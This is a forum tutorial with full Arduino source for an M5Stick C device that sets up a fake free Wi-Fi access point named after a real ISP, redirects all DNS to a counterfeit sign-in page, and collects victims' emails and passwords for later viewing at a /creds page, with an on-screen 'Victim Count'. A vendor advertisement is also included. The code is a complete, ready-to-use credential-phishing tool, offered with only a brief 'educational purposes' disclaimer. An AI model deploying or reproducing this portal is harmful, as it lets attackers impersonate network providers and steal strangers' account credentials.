Jump to content
Electronics-Lab.com Community

M5Stick C Captive Portal


Recommended Posts

Will guide you to build a Captive Portal with M5Stick C to capture the login details.

Story

A Wi-Fi honeypot is a fake wireless network that is set up to lure unsuspecting users and collect their data or infect their devices with malware. It is a common technique used by hackers and cybercriminals to exploit the public’s demand for free Wi-Fi access.

image_JFy4SLH6jn.png?auto=compress%2Cfor
 

In this tutorial, will guide you to build a Wi-Fi honeypot with M5Stick C.

Get PCBs for Your Projects Manufactured
image_3JJb6iqRSm.png?auto=compress%2Cfor
 

You must check out PCBWAY for ordering PCBs online for cheap!

You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop.

Hardware Overview - M5Stick 😄
image_1jArlzqAtz.png?auto=compress%2Cfor
 

M5StickC is a mini IoT development board powered by ESP32, a microcontroller with Wi-Fi and Bluetooth capabilities. It is a portable, easy-to-use, open-source device that can help you realize your ideas, enhance your creativity, and speed up your IoT prototyping. It has a 0.96-inch TFT color screen, a red LED, a button, a microphone, an IR transmitter, a 6-axis IMU, and a 95 mAh battery. It also supports various extensions and modules that can add more functionality to the board. You can program it using different platforms such as UIFlow, MicroPython, Arduino, or .NET nano Framework.

Arduino Sketch Overview:

Here is the complete Arduino sketch to initiate the Wi-Fi honeypot in the M5Stick C, it will create a free access point and once the user is connected to the access point it will ask for the user credentials. Once we get the credentials it will blink the LED and alert us.

Also, we can view the captured passwords via the same access point.

Here are the main Wi-Fi AP configurations, you can configure as per your need.

image_VwuVib5jfy.png?auto=compress%2Cfor
 

Once the victim logged the credentials, this function will start to work.

image_lAjqVtgriQ.png?auto=compress%2Cfor
 

Here is the complete Arduino sketch.

image_oSb296IxMD.png?auto=compress%2Cfor
 
 
#include <M5StickC.h>
#include <WiFi.h>
#include <DNSServer.h>
#include <WebServer.h>

// User configuration
#define SSID_NAME "JioFi L3M378"
#define SUBTITLE "JioFi WiFi service."
#define TITLE "Sign in:"
#define BODY "Create an account to get connected to the internet."
#define POST_TITLE "Validating..."
#define POST_BODY "Your account is being validated. Please, wait up to 5 minutes for device connection.</br>Thank you."
#define PASS_TITLE "Credentials"
#define CLEAR_TITLE "Cleared"

int capcount=0;
int BUILTIN_LED = 10;

// Init System Settings
const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
const byte TICK_TIMER = 1000;
IPAddress APIP(172, 0, 0, 1); // Gateway

String Credentials = "";
unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
DNSServer dnsServer; WebServer webServer(80);

String input(String argName) {
  String a = webServer.arg(argName);
  a.replace("<", "&lt;"); a.replace(">", "&gt;");
  a.substring(0, 200); return a;
}

String footer() {
  return
    "</div><div class=q><a>&#169; All rights reserved.</a></div>";
}

String header(String t) {
  String a = String(SSID_NAME);
  String CSS = "article { background: #f2f2f2; padding: 1.3em; }"
               "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"
               "div { padding: 0.5em; }"
               "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }"
               "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }"
               "label { color: #333; display: block; font-style: italic; font-weight: bold; }"
               "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
               "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
               "textarea { width: 100%; }";
  String h = "<!DOCTYPE html><html>"
             "<head><title>" + a + " :: " + t + "</title>"
             "<meta name=viewport content=\"width=device-width,initial-scale=1\">"
             "<style>" + CSS + "</style></head>"
             "<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>";
  return h;
}

String creds() {
  return header(PASS_TITLE) + "<ol>" + Credentials + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();
}

String index() {
  return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post>" +
         "<b>Email:</b> <center><input type=text autocomplete=email name=email></input></center>" +
         "<b>Password:</b> <center><input type=password name=password></input><input type=submit value=\"Sign in\"></form></center>" + footer();
}

String posted() {
  String email = input("email");
  String password = input("password");
  Credentials = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + Credentials;
  return header(POST_TITLE) + POST_BODY + footer();
}

String clear() {
  String email = "<p></p>";
  String password = "<p></p>";
  Credentials = "<p></p>";
  return header(CLEAR_TITLE) + "<div><p>The credentials list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();
}

void BLINK() { // The internal LED will blink 5 times when a password is received.
  int count = 0;
  while (count < 5) {
    digitalWrite(BUILTIN_LED, LOW);
    delay(500);
    digitalWrite(BUILTIN_LED, HIGH);
    delay(500);
    count = count + 1;
  }
}

void setup() {
  M5.begin();
  M5.Lcd.setRotation(3);
  M5.Lcd.fillScreen(BLACK);
  M5.Lcd.setSwapBytes(true);
  M5.Lcd.setTextSize(1.5);

  M5.Lcd.setTextColor(TFT_RED, TFT_BLACK);
  M5.Lcd.setCursor(0, 10);
  M5.Lcd.print("M5Stick C Cap Portal");

  M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK);
  M5.Lcd.setCursor(0, 25);
  M5.Lcd.print("WiFi IP: ");
  M5.Lcd.print(APIP);

  M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK);
  M5.Lcd.setCursor(0, 35);
  M5.Lcd.print("Victim Count: ");
  M5.Lcd.print(capcount);

  bootTime = lastActivity = millis();
  WiFi.mode(WIFI_AP);
  WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
  WiFi.softAP(SSID_NAME);
  dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP)

  webServer.on("/post", []() {
    capcount=capcount+1;
    webServer.send(HTTP_CODE, "text/html", posted());
    M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK);
    M5.Lcd.setCursor(0, 45);
    M5.Lcd.print("status: ");
    M5.Lcd.print("Victim In");
    BLINK();
    M5.Lcd.fillScreen(BLACK);
  });

  webServer.on("/creds", []() {
    webServer.send(HTTP_CODE, "text/html", creds());
  });
  webServer.on("/clear", []() {
    webServer.send(HTTP_CODE, "text/html", clear());
  });
  webServer.onNotFound([]() {
    lastActivity = millis();
    webServer.send(HTTP_CODE, "text/html", index());

  });
  webServer.begin();
  pinMode(BUILTIN_LED, OUTPUT);
  digitalWrite(BUILTIN_LED, HIGH);
}

void loop() {
  if ((millis() - lastTick) > TICK_TIMER) {
    lastTick = millis();
    
    M5.Lcd.fillScreen(BLACK);
    M5.Lcd.setSwapBytes(true);
    M5.Lcd.setTextSize(1.5);

    M5.Lcd.setTextColor(TFT_RED, TFT_BLACK);
    M5.Lcd.setCursor(0, 10);
    M5.Lcd.print("M5Stick C Cap Portal");

    M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK);
    M5.Lcd.setCursor(0, 25);
    M5.Lcd.print("WiFi IP: ");
    M5.Lcd.print(APIP);

    M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK);
    M5.Lcd.setCursor(0, 35);
    M5.Lcd.print("Victim Count: ");
    M5.Lcd.print(capcount);
  }
  dnsServer.processNextRequest(); webServer.handleClient();
}

Deployment:

Once the code is uploaded in the M5Stick C, it will show up the IP address and the victim count.

image_ZvmFVVH5PW.png?auto=compress%2Cfor
 

then, look for the free Wi-Fi AP that we have created.

image_bKBB1PVOs4.png?auto=compress%2Cfor
 

Next, let's try to connect that. Once connected it will redirect you to the login page.

image_h0SR8ZgyEK.png?auto=compress%2Cfor
 

Login page:

q1_BLb3EstVax.png?auto=compress%2Cformat
 

Next, try to sign in with some credentials.

 
 
q2_YTaHMzVDCw.png?auto=compress%2Cformat
1 / 2

Here is the M5Stick C's response:

image_wc7ioDPWGu.png?auto=compress%2Cfor
 

If you want to see the captured passwords, open the same URL with /creds at the end. It will show all the captured passwords.

q4_gDDoSgqw02.png?auto=compress%2Cformat
 

If you want to clear the saved credentials, navigate to the same URL with /clear at the end.

q5_wQk27agXWo.png?auto=compress%2Cformat
 

That's all, please use this only for educational purposes.

Link to comment
Share on other sites


Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
×
  • Create New...